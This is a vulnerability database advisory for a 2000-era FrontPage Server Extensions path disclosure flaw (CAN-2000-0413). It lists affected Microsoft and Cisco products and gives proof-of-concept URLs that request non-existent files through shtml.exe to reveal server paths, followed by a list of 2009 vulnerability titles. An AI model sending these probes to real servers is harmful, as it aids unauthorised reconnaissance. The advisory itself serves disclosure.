exploits , vulnerabilities , articles , Microsoft Frontpage Server Extensions Path Disclosure Vulnerability

Title	Microsoft Frontpage Server Extensions Path Disclosure Vulnerability
Published	2000-05-06-12:00AM
Updated	2000-05-06-12:00AM
Class	Design Error
CVE	CAN-2000-0413
Remote	Yes
Local	Yes
Credit	Posted to Bugtraq on May 6, 2000 by Frankie Zie <root@cnns.net>.
Vulnerable	Microsoft IIS 5.0 Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Professional Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Server Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server SP2 Microsoft IIS 4.0 Cisco Building Broadband Service Manager 5.0 Cisco Call Manager 1.0 Cisco Call Manager 2.0 Cisco Call Manager 3.0 Cisco ICS 7750 Cisco IP/VC 3540 Video Rate Matching Module Cisco Unity Server 2.0 Cisco Unity Server 2.2 Cisco Unity Server 2.3 Cisco Unity Server 2.4 Cisco uOne 1.0 Cisco uOne 2.0 Cisco uOne 3.0 Cisco uOne 4.0 Microsoft BackOffice 4.0 Microsoft BackOffice 4.5 Microsoft Windows NT 4.0 Option Pack Microsoft FrontPage Server Extensions Module for Apache 3.0.4 Microsoft FrontPage 2000 Server Extensions SR 1.0 Microsoft FrontPage 2000
Not Vulnerable	Microsoft FrontPage 2000 Server Extensions SR 1.2 Microsoft FrontPage 2000
Code	http://target/_vti_bin/shtml.exe/non-existent-file.html http://target/_vti_bin/shtml.exe/non-existent-file.htm http://target/_vti_bin/shtml.exe/non-existent-file.shtml http://target/_vti_bin/shtml.exe/non-existent-file.asp http://target/_vti_bin/shtml.dll/non_existant_file.html
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-16 Horde Application Framework Administration Interface Cross-Site Scripting Vulnerability
2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability
2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability